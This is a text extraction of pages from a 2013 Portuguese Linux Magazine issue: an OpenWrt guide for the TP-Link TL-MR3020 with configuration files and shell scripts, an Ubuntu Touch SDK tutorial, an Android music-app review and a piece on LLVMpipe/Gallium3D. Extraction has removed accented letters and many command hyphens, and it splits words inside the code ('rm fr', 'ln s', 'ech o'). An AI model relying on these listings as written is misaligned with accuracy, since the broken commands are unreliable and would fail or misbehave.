O TL-MR3020 utiliza cinco LEDs para indicar o status, quatro dos quais podem
ser programados. H tambm um boto para a configurao sem fio via WPS e
um desbloqueador com trs posies (3G/WISP/AP). Por dentro, o roteador possui
uma CPU ARM de 400MHz e 32MB de RAM. O sistema operacional reside em um
chip de memria flash de 4 MB. A porta USB usada com o firmware original para
conectar um dispositivo de conexo UMTS para operao como um roteador 3G
mvel. Sem um pendrive, o dispositivo funciona como um ponto de acesso sem fio.
Como uma adio til ao TL-MR3020, recomendamos um hub USB mini Pearl
(figura 1). Este dispositivo integra um leitor de micro-SDHC e, portanto, fornece
o sistema de arquivos raiz avanado descrito neste artigo em um carto de memria, sem bloquear a porta USB.
A placa do roteador contm portas adicionais, mas o TP-Link no faz o roteamento
delas. Se o usurio usar um ferro de solda poder anexar outros componentes, como
um console serial, uma interface I2C ou uma antena externa. A wiki do OpenWrt
apresenta algumas fotos e links para instrues relevantes sobre o TL-MR3020 [3].

62

Se o usurio estiver procurando


por um pacote especfico, o subcomando list gera uma lista de pacotes com descries breves. Para
a instalao USB, precisamos basicamente de um conjunto de pacotes do kernel (listagem 3). melhor
particionar e formatar o pendrive
USB (/dev/sdb na listagem pode
ser necessrio ajustar isso) no PC.
Alm da partio raiz, desejvel
manter uma partio home e, acima
de tudo, espao de swap.
Depois, podemos simplesmente
conectar o pendrive no roteador e

Listagem 2: /etc/config/wireless
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22

# /etc/config/wireless --config wifidevice radio0


option type mac80211
option channel 11
option macaddr 90:f6:52:e6:d7:b2
option hwmode 11ng
option htmode HT20
list ht_capab SHORTGI20
list ht_capab SHORTGI40
list ht_capab RXSTBC1
list ht_capab DSSS_CCK40
# REMOVE THIS LINE TO ENABLE WIFI:
# option disabled 1
config
option
option
option
option
option
option

wifiiface
device radio0
network wifi
mode sta
ssid 'myssid'
encryption psk2
key 'secret'

www.linuxmagazine.com.br

Listagem 3: Preparao do pendrive USB


01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# Set up the root filesystem on a USB stick


# Basic USB support (USB 1.1 and USB 2)
opkg update
opkg install kmodusbuhci kmodusbohci kmodusb2
insmod uhci
insmod usbohci
insmod usbcore
insmod ehcihcd
# USB Storage (FAT requires additional modules
# that you can upgrade later, however)
opkg in stall kmodusbstoragemount
block kmodfsext4core kmodscsci
#
#
#
#
#
#
#

Prepare USB stick (on the PC)


> Partition with three partitions (root, home, swap)
fdisk /dev/sdb etc.
> Format partitions with ext4 or swap
mkfs.ext4 /dev/sdb1
mkfs.ext4 /dev/sdb2
mkswap /dev/sdb3

# Prepare root on USB (copies old root file system)


mkdir p /mnt/usb
mount /dev/sda1 /mnt/usb
tar cvf C /overlay . | tar xf C /mnt/usb
umount /mnt/usb

alterar a configurao dos pontos de


montagem no arquivo /etc/config/
fstab. As linhas 10-16 na listagem 4
so importantes. A ltima linha da
listagem 3 copia todo o sistema de
arquivos raiz para o pendrive. Criar
um backup agora aconselhvel. O
sistema ainda far o boot, mesmo
sem o pendrive inserido: neste caso,
ele simplesmente ignora os dispositivos no existentes.
Depois de um reboot com um
pendrive, finalmente teremos mais
espao em disco. Quaisquer pacotes adicionados agora podero
ser armazenados l. Isto posto, ter
o sistema de arquivos raiz em um
dispositivo USB muito til. Podemos modificar a configurao com
os editores habituais em um PC e
facilmente copiar os dados entre os
locais (por exemplo, para backups).
Neste ponto, a configurao bsica
est concluda, exceto por algumas
coisas, como o hostname. O restante
do procedimento depende de como
ser utilizado o roteador, sendo possvel usar o gerenciador de pacotes
para recuperar e configurar o software necessrio. O procedimento

Linux Magazine #106 | Setembro de 2013

no OpenWrt no diferente do de
qualquer outro tipo de distribuio.

Botes e LEDs

Por meio da interface web ou SSH,


podemos controlar completamente
o TL-MR3020 como um mini servidor.
No entanto, mais fcil utilizar os botes existentes. O boto WPS original
adequado para desencadear aes
individuais, e o interruptor (slide switch)
na lateral (com trs posies) faz a comutao entre as diferentes condies
de operao (mais sobre isso depois).

Listagem 4: Configure os
pontos de montagem
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# Configure mountpoints
config global automount
option from_fstab 1
option anon_mount 1
config global autoswap
option from_fstab 1
option anon_swap 0
config
option
option
option
option
option
option

mount
target /overlay
device /dev/sda1
fstype ext4
options rw,sync
enabled 1
enabled_fsck 0

config
option
option
option
option
option
option

mount
target /home
device /dev/sda2
fstype ext4
options rw,sync
enabled 1
enabled_fsck 1

config swap
option device /dev/sda3
option enabled 1

Os LEDs servem como uma espcie


de dispositivo de sada. Trs estados
diferentes so possveis: ligado, desligado ou piscando. Em combinao
com os botes, podemos compilar
alguns recursos interessantes. Do ponto de vista tcnico, preciso controlar
os LEDs nos arquivos abaixo de /sys/
class/leds (por exemplo, para o WPS
LED, este o diretrio /sys/class/leds/
tplink:green:wps). Os fabricantes do
OpenWrt escondem a complexidade,

Quadro 2: Como configurar o OpenWRT


O sistema de configurao OpenWrt continua a ser muito consistente em
todos os pacotes relacionados ao sistema. Todos os arquivos de configurao esto localizados em /etc/config e so estruturados apenas arquivos de texto simples que so mais facilmente alterados em um editor.
Para a operao de produo do roteador posteriormente, a interface
web a alternativa preferida do editor: aqui, pode-se facilmente modificar os parmetros de configurao individuais e consultar o estado
do sistema (figura 4). Outra alternativa uma interface para a linha de
comando. O comando:
$ uci get system.slider.handler
l o valor da opo handler na seo slider do arquivo /etc/config/sys
tem. Para scripts, a biblioteca /lib/functions.sh oferece alguns utilitrios
que facilitam significativamente a definio das configuraes.

63

Listagem 5: Edio do arquivo


/etc/config/system

Listagem 6:
Interao com o LED

Listagem 7: Checando o
status do desbloqueador

01 # Configuring LEDs and buttons


02 config system
03 option hostname 'jupiter.

bablokblocal.de'
04 option timezone



'CET1CEST,M3.5.0,M10.5.0/3'
05
06 config timeserver 'ntp'
07 list server '0.openwrt.pool.ntp.org'
08 list server '1.openwrt.pool.ntp.org'
09 list server '2.openwrt.pool.ntp.org'
10 list server '3.openwrt.pool.ntp.org'
11 option enable_server '0'
12
13 config led 'led_usb'
14 option name 'USB'
15 option sysfs 'tplink:green:3g'
16 option trigger 'usbdev'
17 option dev '11'
18 option interval '50'
19
20 config led 'led_wlan'
21 option name 'WLAN'
22 option sysfs 'tplink:green:wlan'
23 option trigger 'phy0tpt'
24
25 config led 'led_lan'
26 option name 'LAN'
27 option sysfs 'tplink:green:lan'
28 option trigger 'netdev'
29 option dev 'eth0'
30 option mode 'link tx rx'
31
32 config led 'led_wps'
33 option name 'wps'
34 option sysfs 'tplink:green:wps'
35 option trigger 'defaulton'
36
37 config button
38 option button 'wps'
39 option action 'released'
40 option min '3'
41 option max '6'
42 option handler 'halt'
43
44 config button
45 option button 'wps'
46 option action 'released'
47 option min '0'
48 option max '2'
49 option handler 'logger wps pressed
02s'
50
51 config slider 'slider'
52 option handler '/usr/sbin/handle_

slider'

01
02
03
04
05

01 #!/bin/sh
02 # Read the slider (aka
BTN_0/BTN_1)
03 # rmmod uses underscores,
insmod uses strokes!
04 rmmod gpio_button_hotplug
# Remove kernel module
05 echo 18 > /sys/class/gpio/
export # export BTN_0
06 echo 20 > /sys/class/gpio/
export # export BTN_1
07 cat /sys/class/gpio/gpio18/
value > /var/run/BTN_0 #
Status BTN_0
08 cat /sys/class/gpio/gpio20/
value > /var/run/BTN_1 #
Status BTN_1
09 echo 18 > /sys/class/gpio/
unexport # unexport BTN_0
10 echo 20 > /sys/class/gpio/
unexport # unexport BTN_1
11 insmod gpiobuttonhotplug
# Load kernel module

e o usurio normalmente s precisa


editar a configurao no arquivo /etc/
config/system (listagem 5, linhas 13-35).
Normalmente, o OpenWRT contempla um conjunto de LEDs que
identifica os estados de funciona-

64

#!/bin/sh
# Handle button events

set_led_blink() {
# Switch flashing on (1s
on / 0.2 sec off)
06 ech o timer >
/sys/class/leds/
tplink\:green\:wps/trigger
07 ech o 1000 >
/sys/class/leds/
tplink\:green\:wps/delay_on
08 ech o 200 >
/sys/class/leds/
tplink\:green\:wps/delay_off
09 # Turn off after three

seconds
10 sleep 3
11 echo none > /sys/class/

leds/tplink\:green\:wps/
trigger
12 # Turn on after three

seconds
13 sleep 3
14 set_led_on
15 }
16
17 set_led_on() {
18 # Turn on LED
19 ech o defaulton >
/sys/class/leds/
tplink\:green\:wps/trigger
20 }
21
22 if [ "$BUTTON" = "wps" ];
then
23 if [ "$ACTION" = "pressed" ];
then
24 set_led_blink &
25 else
26 set_led_on
27 fi
28 else
29 exit 0
30 fi

mento de componentes individuais,


tais como a rede ou interface USB.
No entanto, podemos ajustar os padres para atender s necessidades
de cada usurio. Configurar o switch
tambm fcil. Precisamos configurar
os eventos do sistema do kernel, para
que ele acione (triggers) os botes de
evento apropriados. Para fazer isso,
edite o arquivo /etc/hotplug2.rules
e remova o cursor antes da string
^Buttons. Como esta uma lista de
excees, habilitamos os eventos
para os botes removendo o sinal
de comentrio. A partir de agora, o

sistema executa todos os scripts no


diretrio /etc/hotplug/button para
cada evento do boto. As variveis
BUTTON e ACTION esto definidas.
Um exemplo que demonstra a
interao com os LEDs exibido na
listagem 6. Este script apenas para
o boto WPS (linha 22), e faz com que
o WPS LED pisque por trs segundos
(linhas 6-8 e 10) e, em seguida, apague
por mais trs segundos. Quando soltamos o boto, o script aciona o LED
novamente (linha 19). Em vez de armazenar cada script individualmente no
diretrio Button e consultar o status
do switch l, como na listagem 5, faz
sentido fazer o download de um script
de boto genrico do OpenWrt [4].
Depois, podemos configurar o switch
de forma semelhante a dos LEDs em
/etc/config/system.
O boto WPS est configurado
como um switch desligado aqui: se
pressionarmos o boto por pelo menos trs e no mximo seis segundos e
soltarmos em seguida, o sistema ser
desligado (linhas 37-42 na listagem 5).
Esta etapa tambm revela o significado do programa na listagem 6; o
boto do LED pisca durante trs segundos e, em seguida, desliga-se por
trs segundos assim no temos que

www.linuxmagazine.com.br

Quadro 3: Mais exemplos de aplicaes


A utilidade do TL-MR3020 resultado do baixo consumo de energia e mobilidade. Ele pode ser utilizado como um servidor
de sincronizao usando o aplicativo Rsync for Android para sincronizar dados entre dispositivos mveis, o servidor e
outros computadores. Na estrada, o servidor atua como um roteador e emula uma rede domstica, sem a necessidade
de reconfigurar o zoo mvel.
Cenrios de aplicao detalhados para o TLMR3020 podem ser encontrados online atravs de uma simples pesquisa na web.
Estes variam de servidores web e gateways VPN a plataformas de rede social simples. Para explorar os limites do computador,
tambm instalamos o ownCloud no TL-MR3020. O aplicativo precisa de um servidor web e uma pilha PHP completa.
Recursos bsicos como a visualizao e manuteno do calendrio tambm funcionam, porm mais lentamente. Alm
disso, o TL-MR3020 quebrou a reprodutibilidade ao tentar fazer o upload de vrias imagens ao mesmo tempo. Talvez um
pouco de ajuste possa ajudar, mas para executar o ownCloud efetivamente, o usurio precisa de algo mais poderoso
no lado do hardware.

contar para desligar o sistema. Da mesma forma, tambm podemos usar o


boto WPS para iniciar outra operao
com cliques curtos. A listagem 5 (linhas
44-49) configura uma entrada de log
para fins de demonstrao.

Deslizar para
desbloquear
O desbloqueador (slide switch) do
TL-MR3020 um pouco mais complicado por dois motivos. Primeiro,

Listagem 8: Atualizao do boto de status


01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

#!/bin/sh
# Handle slider events
. /lib/functions.sh
DELAY=5
LOCK=/var/run/slider.lock
# Run Update (asynchronous)
run_handler() {
# Only start if not already active
if ! mkdir "$LOCK" 2>/dev/null; then
logger "updatescript already running"
exit 0
fi
# Read processing script from /etc/config/system
config_load system
config_get handler slider handler
logger "handlerscript: $handler"
logger "wait $DELAY seconds for all events"
sleep $DELAY
eval $handler # Execute handler
rm fr "$LOCK"
}
# Main Program
logger "Process event '$ACTION' for $BUTTON"
# Ignore WPS button
if [ "$BUTTON" = "wps" ]; then
exit 0
fi
# Update button file to match event
if [ "$ACTION" = "pressed" ]; then
echo "1" > "/var/run/$BUTTON"
else
echo "0" > "/var/run/$BUTTON"
fi
# Run asynchronously
run_handler & # (do not block event handling)

Linux Magazine #106 | Setembro de 2013

o kernel no o identifica como um


boto, mas como dois; mapear os
trs estados possveis conta como
2 bits. Cada alterao de estado
aciona dois eventos, que atingem
o script de processamento sequencialmente, mas devem ser avaliados
em conjunto. Em segundo lugar, o
sistema de eventos s identifica as
alteraes de estados.
Agora podemos arriscar um pequeno script que verifica o status do
desbloqueador durante o boot, por
exemplo, para configurar o ambiente
de rede. Esse aspecto, no entanto,
apenas sugestionado na documentao disponvel na wiki do OpenWrt.
A listagem 7 mostra como: o script
armazena o status dos dois botes
BTN_0 e BTN_1 em arquivos devidamente nomeados em /var/run. O script
executado uma vez durante a inicializao, a partir de /etc/rc.local.
Em contraste, o script na listagem 8
executado para cada evento do boto.
Ele atualiza o boto de status em /var/
run. Alm disso, ele inicia um script de
processamento. A magia extra nas
linhas 10-12 garante que apenas um
script de processamento se inicie. O
tempo de espera antes do processamento (linha 21) garante que todos os
eventos relevantes do boto tambm
sejam recebidos e processados. As
linhas 16 e 17 recuperam o script de
processamento do arquivo de configurao em /etc/config/system. O
script de processamento, em seguida,
comea na linha 22.
Um exemplo do script exibido
na listagem 9. Ele l o status do desbloqueador e reconfigura a rede. Os

65

Listagem 9:
Processamento do script
01 #!/bin/sh
02 # Processing script for the slider
03 logger "Execute $0"
04
05 # Read status of slider
06 if [ `cat /var/run/BTN_0` = "0" ]; then
07 slider="WISP"
08 elif [ `cat /var/run/BTN_1` = "0" ]; then
09 slider="3G"
10 else
11 slider="AP"
12 fi
13 logger "Status of slider: $slider"
14
15 # Remove old symlinks
16 rm /etc/config/dhcp
17 rm /etc/config/network
18 rm /etc/config/wireless
19
20 # Set new symlinks
21 ln s dhcp.$slider /etc/config/dhcp
22 ln s network.$slider /etc/config/
network
23 ln s wireless.$slider /etc/config/
wireless
24
25 # Restart network and DHCP
26 /etc/init.d/network restart
27 /etc/init.d/dnsmasq restart

Coleo
Academy!

arquivos de rede atuais so apenas


links simblicos; assim, a reconfigurao consiste em apontar os links
simblicos para os novos arquivos
de configurao. Por exemplo, /etc/
config/network.AP contm a configurao de rede quando o cursor de
desbloqueio est na posio AP. Faz
sentido iniciar o script de processamento no momento da inicializao
(em /etc/rc.local), aps a leitura do
status do cursor.

Concluso

Neste artigo explicamos o hardware,


assim o usurio apenas precisa combinar os componentes individuais.
Para informaes mais detalhadas
sobre a obteno de um dispositivo
de conexo UMTS para executar ou
implementar cenrios de rede especficos, consulte a wiki do OpenWrt.
O pequeno roteador TL-MR3020
no pode cobrir todas os aplicativos
(quadro 3). No entanto, os mecanis-

mos descritos aqui so pelo menos


similares para outros dispositivos,
incluindo os de outros fabricantes.
Na extremidade superior do espectro de potncia esto os dispositivos
QNAP NAS que vm munidos com
o OpenWrt. No entanto, a gama de
servios pr-configurados torna a
personalizao mais difcil. n

Mais informaes
[1] TP-Link: http://www.
tplink.com.de/
[2] Projeto OpenWrt: ht
tps://openwrt.org
[3] Detalhes para TL-MR3020:
http://wiki.openwrt.org/
toh/tplink/tlmr3020/
[4] Processamento genri-

co de botes de eventos:
https://dev.openwrt.org/
browser/trunk/target/li
nux/atheros/basefiles/etc/
hotplug.d/button/00button/

Principais comandos de
configurao de um
roteador Cisco
Temas e configuraes
avanadas
Segurana, dicas, truques
e resoluo de problemas
Disponvel no site
www.LinuxMagazine.com.br

66

www.linuxmagazine.com.br

Tutorial

Desenvolvimento
para Ubuntu Touch
Aprenda a desenvolver aplicativos para o Ubuntu Touch
e torne seu dispositivo mvel em um computador Linux de bolso!
por Alessandro de Oliveira Faria (Cabelo)

a edio anterior da Linux


Magazine, falei sobre a instalao, configurao e outros detalhes para que o leitor possa
iniciar no mundo do Ubuntu Touch.
Nesta edio, vou abordar o desenvolvimento para esta til plataforma.
A tecnologia utilizada no Ubuntu SDK o Qt (e como ambiente de
desenvolvimento o Qt Creator). Utilizei para testes o ambiente Ubuntu
12.10 para compilao do exemplo
e ressalto que outras distribuies
tambm funcionam mas demandam
maior esforo e ateno detalhes
adicionais, que no so o objetivo
deste artigo. Os comandos para
instalar o Ubuntu SDK so:
sudo add-apt-repository
ppa:canonical-qt5-edgers/qt5-proper
sudo add-apt-repository
ppa:ubuntu-sdk-team/ppa
sudo apt-get update
sudo apt-get install ubuntu-sdk
notepad-qml

Figura 1 O ambiente de desenvolvimento utilizado o Qt Creator.

Linux Magazine #106 | Setembro de 2013

Agora que o SDK est instalado,


inicie a interface de desenvolvimento
do Qt (Qt Creator, figura 1), pressione a tecla [CTRL+N] e na janela de
dilogo, selecione a opo Ubuntu
Touch/Simple UI/Choose. Defina o
nome do projeto, a localizao do
diretrio e clique em Next. Ao trmino do processo, ser exibido um
resumo do projeto; ento clique no
boto Finish (figura 2).
Para facilitar o incio do desenvolvimento, insira o cdigo presente no
endereo [1] no arquivo .qml e execute
o programa, pressionando o atalho
[Ctrl+R] ou execute-o diretamente
pelo terminal atravs do comando:
qmlscene [caminho-completo-doarquivo.qml]

Resumidamente, este programa


obtm os valores vigentes de cotao das moedas mundiais pelo site
do European Central Bank atravs de
um XML [2] e efetua o clculo de converso durante a digitao do valor no
campo FieldText ou atravs da seleco
do tipo da moeda (Buttom) (figura 3).
Um breve resumo do desenvolvimento
bsico de aplicativos encontra-se em
[3]. A partir daqui, partiremos para o
Deploy do aplicativo.
Vamos enviar o aplicativo para o
Ubuntu Touch, mas para obter sucesso
devemos efetuar as devidas configuraes. Em primeiro lugar, conecte o cabo
USB no dispositivo e no computador
e selecione Devices ou Dispositivos
na interface do seu Qt Creator para
estabelecer a comunicao (figura 4).

Figura 2 Resumo da criao do novo projeto.

67

Figura 3 Tela de digitao de dados do conversor de moedas para


Ubuntu Touch.

device para copiar automaticamente as configuraes de rede sem fio


(senha, SSID , canal e outros). Aps
este procedimento a instalao do
openssh-server ser iniciada para que
seja possvel acessar o aparelho
em modo desenvolvedor (figura 5).
Vale a pena mencionar que, no
modo avanado, algumas opes
como atualizao da imagem, reboot
e outros recursos esto disponveis.
Uma vez que o dispositivo esteja
configurado no modo debug, basta
pressionar o atalho [CRTL+F12] para
enviar o aplicativo para o dispositivo
detectado e execut-lo. n
Alessandro de Oliveira Faria scio-fundador da
empresa NETi Tecnologia fundada em 1996, empresa
especializada em desenvolvimento de software e
solues biomtricas. consultor biomtrico na
tecnologia de reconhecimento facial, atuando na rea
de tecnologia desde 1986, levando o Linux a srio
desde 1998, membro colaborador da comunidade
Viva O Linux, mantenedor da biblioteca open-source
de vdeo captura, embaixador e membro openSUSE
entre outros projetos.

Gostou do artigo?
Figura 4 Deteco de dispositivos no Qt Creator.

Queremos ouvir sua opinio.


Fale conosco em:
cartas@linuxmagazine.com.br
Este artigo no nosso site:
http://lnm.com.br/article/8981

Mais informaes
[1] Download do cdigo deste artigo: http://
www.linuxmag.com.br/issues/106/conteudoqml.txt
[2] XML da cotao do dia
das moedas mundiais: http://
www.ecb.int/stats/eurofxref/eurofxref-daily.xml

Figura 5 Modo de desenvolvedor habilitado.

Para identificar o aparelho, clique no boto Detect Devices ou


dependendo do estado do dispositivo, clique em Redetect Devices.
O nmero serial do dispositivo ser
exibido no canto superior esquer-

68

do se tudo estiver funcionando


corretamente. Se o Ubuntu Touch
estiver com a rede sem fio configurada, clique em Enable developer
mode, caso contrrio clique em
clone network config from host to

[3] Desenvolvimento para


Ubuntu: http://developer.
ubuntu.com/get-started/
gomobile/#step-write-app
[4] Exemplo (cdigo fonte

completo) do conversor de
moedas para Ubuntu Touch: https://bazaar.launchpad.
net/~dpm/+junk/CurrencyConverterUpdated/files/8

www.linuxmagazine.com.br

Android

Aperte o play!
Os melhores aplicativos de msica e truques para melhorar a qualidade de som do seu Android.
por Flvia Jobstraibizer

ingum vive sem msica.


Essa uma mxima na qual
esta humilde autora acredita
piamente. Mesmo os ermites em
algum momento cantarolam alguma msica em meio sua solido. O

Android possui excelentes aplicativos para msica, seja para execuo,


organizao de biblioteca musical
ou mesmo para localizar podcasts,
audiolivros e outros recursos. Tambm h diversos truques e macetes

Figura 1 Organizao de audio por palavras-chave, intrpretes ou


tipo de msica.

Figura 2 As capas dos lbuns tambm podem ser uma forma de


organizar o contedo.

Linux Magazine #106 | Setembro de 2013

que podemos fazer para melhorar


a qualidade de audio dos dispositivos equipados com o simptico
sistema do robozinho.

Msica na
palma da mo
Alguns aplicativos j conhecidos para
execuo de msicas como N7Player
[1], possuem uma organizao interessante da biblioteca musical, onde
as faixas podem ser localizadas atravs de uma nuvem de tags, composta pelo nome do cantor, nome
da msica ou mesmo pelo tipo de
msica (figura 1). A organizao por
capas de lbuns (figura 2) tambm
outro recurso presente no N7Player e
comum a outros importantes tocadores de msicas, como o MusiXMatch
[2] (quem se lembra do Music Match
Jukebox que existia pra Windows nos
anos 2000? Este se parece MUITO com
ele). Atualmente o MusiXMatch um
dos preferidos por quem deseja alm
dos recursos comuns acompanhar
as letras das msicas em tempo real
(e com tempo real, quero dizer que
o aplicativo baixa a letra da msica
enquanto ela executada, contanto
que uma conexo de Internet esteja
disponvel). O aplicativo possui um
bom equalizador, que auxilia o usurio
a predefinir o melhor ambiente de som
possvel em seu dispositivo (figura 3).
O bom e velho Winamp tambm
modernizou-se e veio parar nos dispositivos mveis. A organizao de
msicas por pastas um diferencial,
evitando a mistura homrica feita
por outros players (figura 4). O aplicativo est disponvel em duas ver-

69

Figura 5 O PowerAmp possui um dos mais completos equalizadores.

Figura 3 Equalizador do MusiXMatch, til para melhorar a qualidade do audio em execuo.

ses: gratuita [3] e Pro, com recursos


adicionais como a organizao por
pastas, claro, e outros diferenciais
como o a execuo de qualquer audio
streaming atravs de um URL direto.

Figura 4 A organizao por pastas


do Winamp Pro um diferencial
do aplicativo.

70

O PowerAmp [4] talvez seja um


dos mais completos no que tange
configuraes de audio. Possui o
mais completo equalizador (figura 5),
configurao de balano, baixos e outros bastante sensvel e ainda possui
widgets personalizveis para que seja
possvel inclu-lo na rea de trabalho
sem engasgos da msica. Tais recursos
esto presentes apenas na verso Pro
(que custa cerca de R$8,00) que vale
muito a pena ser adquirida.
Para ouvir rdio, no limite-se ao
aplicativo padro do Android (e h
alguns dispositivos importados que
nem mesmo este aplicativo padro
possuem). Neste campo, as opes

so inmeras. O TuneIn [5] um dos


mais populares e funciona basicamente
atravs da Internet. Com ele possvel
ouvir mais de 70000 estaes de rdio
via streaming e que podem ser localizadas por tipo, localizao (somente
rdios do Brasil, por exemplo) e at
mesmo por idioma (figura 6).

Aumente o
poder de audio
Alguns aplicativos podem ajudar a
melhorar o poder de audio do seu dispositivo. Mesmo dispositivos um tanto
quanto limitados podem beneficiar-se
obtendo melhor qualidade de audio,

Figura 6 Para ouvir mais de 70000 rdios online, o TuneIn a melhor opo.

www.linuxmagazine.com.br

neste aplicativo e surpreenda-se


assim como eu (figura 9).

Concluso

Opes para tornar a experincia de


audio incrvel no faltam. Leia atentamente os comentrios dos usurios antes de baixar determinados
aplicativos de audio e desconfie de
aplicativos que exigem permisses
absurdas para instalao (como um
determinado player que informa a
necessidade de acesso aos seus SMS
e catlogo de endereos no momento
da instalao), afinal, tudo o que voc
no quer ouvir uma msica triste por
conta de algum aplicativo malicioso. n

Gostou do artigo?
Figura 7 O Music Volume EQ turbina significativamente o audio
do seu dispositivo.

Figura 8 A galeria de efeitos prconfigurador do Equalizer surpreende durante o uso.

tratamento de ruidos e sensibilidade


mais refinada em graves e agudos.
Um exemplo disso o Music Volume EQ [6], que alm de gratuito um
dos aplicativos mais bem avaliados no
quesito aumentar o volumedo som
do aparelho, alm de possuir confi-

guraes refinadas para melhorar a


qualidade do audio (figura 7).
O Equalizer [7] outro aplicativo interessante. Em meus testes, a
galeria de efeitos pr-configurados
(figura 8) rendeu surpresas pois a
qualidade e nitidez do som melhoraram significativamente, at mesmo em audio extrado da Internet.
Um dos mais surpreendentes no
entanto, o aplicativo Ambiance [8],
que gera aleatoriamente cerca de
2500 efeitos sonoros que isolam o
barulho externo (claro que ter um
fone de ouvido de tima qualidade
vai garantir esse excelente resultado).
Com um fone de ouvido da Phillips
que j possui o recurso de isolamento de barulho, obtive a inacreditvel
chance de no escutar nada alm
da msica que estava ouvindo, em
meio ao trnsito catico de So Paulo enquanto me dirigia redao
da Linux Magazine. O aplicativo
possui ainda recursos como despertador com sua msica preferida
e at gravador de audio (til para
gravar palestras, por exemplo). Por
favor pague a bagatela de R$6,00

Figura 9 Anular o barulho externo


o recurso principal do Ambiance.

Linux Magazine #106 | Setembro de 2013

Queremos ouvir sua opinio.


Fale conosco em:
cartas@linuxmagazine.com.br
Este artigo no nosso site:
http://lnm.com.br/article/9005

Mais informaes
[1] N7Player: https://play.google.
com/store/apps/details?id=com.
n7mobile.nplayer
[2] MusiXMatch: https://
play.google.com/store/
apps/details?id=com.musixmatch.android.lyrify
[3] Winamp Free: https://
play.google.com/store/apps/
details?id=com.nullsoft.winamp
[4] PowerAmp: https://
play.google.com/store/
apps/details?id=com.maxmpz.audioplayer.unlock
[5] TuneIn: https://play.
google.com/store/apps/
details?id=tunein.player
[6] Music Volume EQ: https://
play.google.com/store/apps/
details?id=hr.podlanica
[7] Equalizer: https://play.
google.com/store/apps/
details?id=com.smartandroidapps.equalizer
[8] Ambiance: https://
play.google.com/store/
apps/details?id=com.urbanapps.ambiance

71

Anlise

Tubo grfico
A ideia simples: se o driver da placa grfica no oferece grficos 3D, uma ajuda especial delegaria
todos os clculos 3D ao processador principal. Neste artigo, explicamos como fazer esse trabalho.
por Tim Schrmann

Starter est inserido em


uma janela com efeito violeta cintilante com sombras sutis e rodeado por um brilho
suave quando minimizado. Estes
efeitos puros da rea de trabalho do Unity s so possveis se
o Ubuntu, ao iniciar, detectar a
placa grfica e localizar um driver adequado, o que por sua vez
fornece uma acelerao 3D. Isso,
s vezes mas nem sempre funciona, especialmente em placas

grficas mais antigas, notebooks


e netbooks (figuras 1 e 2).

LLVMpipe

O Ubuntu 12.04 costumava iniciar


o Unity 2D, o irmo menos eficaz
do Unity. Com o Ubuntu 12.10, a
Canonical substituiu o Unity 2D
pelo LLVMpipe. Este driver de placa grfica invocado quando o
Ubuntu precisa usar a placa de
extenso grfica apenas no modo
2D. O LLVMpipe permite que o pro-

Figura 1 O Unity desenha uma sombra ao redor das janelas...

72

cessador principal controle todos


os efeitos 3D. Desta forma, o Unity
pode funcionar sem a acelerao
3D em computadores mais antigos
ou mquinas virtuais, enquanto
os desenvolvedores da Canonical
podem se concentrar em um nico ambiente de trabalho Unity. O
LLVMpipe tambm pode executar
outros programas 3D.
A figura 3 mostra o caminho percorrido pelos arquivos grficos do
aplicativo at a tela. Com o Linux,
a maioria dos programas 3D usam
a biblioteca grfica OpenGL, que
prev, entre outras coisas, algumas
funes bsicas para desenhar linhas e superfcies. Os detalhes so
definidos pelo padro OpenGL, que
o consrcio de indstrias Khronos
Group [1] gerencia e desenvolve.
Fabricantes de placas grficas
normalmente fornecem a seus
drivers uma biblioteca OpenGL
otimizada, que est intimamente
conectada maior parte dos drivers proprietrios do kernel e pode,
portanto, mover rapidamente os
arquivos para as placas grficas.
Mas, em primeiro lugar, nem toda
placa grfica possui um driver proprietrio e, em segundo lugar, no

www.linuxmagazine.com.br

Aplicativos (Unity)

OpenGL (Mesa)
OpenGL State Tracker

Open 3D Interface
Drivers especficos GPU
(Pipe-Driver)

Driver GA Winsys
Figura 2 ...enquanto seu homlogo Unity 2D no o faz. Aqui o usurio
tem que se contentar com uma colorao mais escura.

to fcil examinar o cdigo fonte


em caso de problemas. Felizmente,
ainda existe uma alternativa.

Drivers grficos

Brian Paul comeou a desenvolver a biblioteca livre e aberta na


Internet em 1993 e chamou-a de
Mesa (tambm conhecida como
Mesa 3D [2]). No incio, a biblioteca usava o processador principal
para calcular grficos 3D. A sada
era relativamente lenta, mas ainda
entregava imagens 3D. Ento, em
2001, Brian Paul fundou a empresa
de consultoria Tungsten Graphics
com outros quatro especialistas grficos. Eles desenvolveram
um novo driver grfico chamado
Gallium3D (ou apenas Gallium
[3] , para abreviar) em 2008. A
ideia principal era tornar o driver
menor, para mant-lo compatvel
com outras bibliotecas grficas
alm do Mesa e torn-lo mais
facilmente transportvel, o que
simplificaria significativamente
o desenvolvimento de drivers de
placas grficas. O novo sistema foi
um sucesso, pelo menos no Linux,
principalmente porque integrava
o Mesa e usava-o para sada.

Linux Magazine #106 | Setembro de 2013

Como mostrado na figura 3, o


Mesa calcula os dados 3D e passaos adiante para o chamado State
Tracker, que prepara as instrues
OpenGL para torn-las compreensveis ao driver grfico Gallium3D.
Cada biblioteca grfica possui um
state tracker prprio, atualmente
disponvel tambm para a biblioteca de grficos vetoriais OpenVG
[4]. Atravs de uma interface fixa,
o state tracker, em seguida, passa
os arquivos grficos para o driver
de placa grfica atual, tambm conhecido como pipe driver. O state
tracker no executa no kernel Linux
mas no espao do usurio, assim
como muitos outros programas. Em
seguida, converte os dados em 3D
para que o driver os compreenda.
A placa grfica passa o resultado
final para a interface chamada
Gallium Winsys, a qual retorna os
arquivos para o mdulo de kernel apropriado placa grfica. O
mdulo do kernel, por fim, passa
os dados 3D para o hardware da
placa grfica. No Linux, o mdulo
do kernel geralmente conhecido como gerenciador de renderizao direta, ou Direct Rendering
Manager (DRM).

Linux DRM (Kernel)

Hardware
Figura 3 Arquivos grficos atravessam alguns componentes no Linux,
mas o processamento rpido.

primeira vista, a interface


Winsys e o kernel DRM podem parecer redundantes, afinal, o driver
da placa grfica deve ser capaz de
se comunicar diretamente com
a placa; no entanto, estas duas
etapas intermedirias so as que
tornam os drivers mais elegantes
e independentes de plataforma.
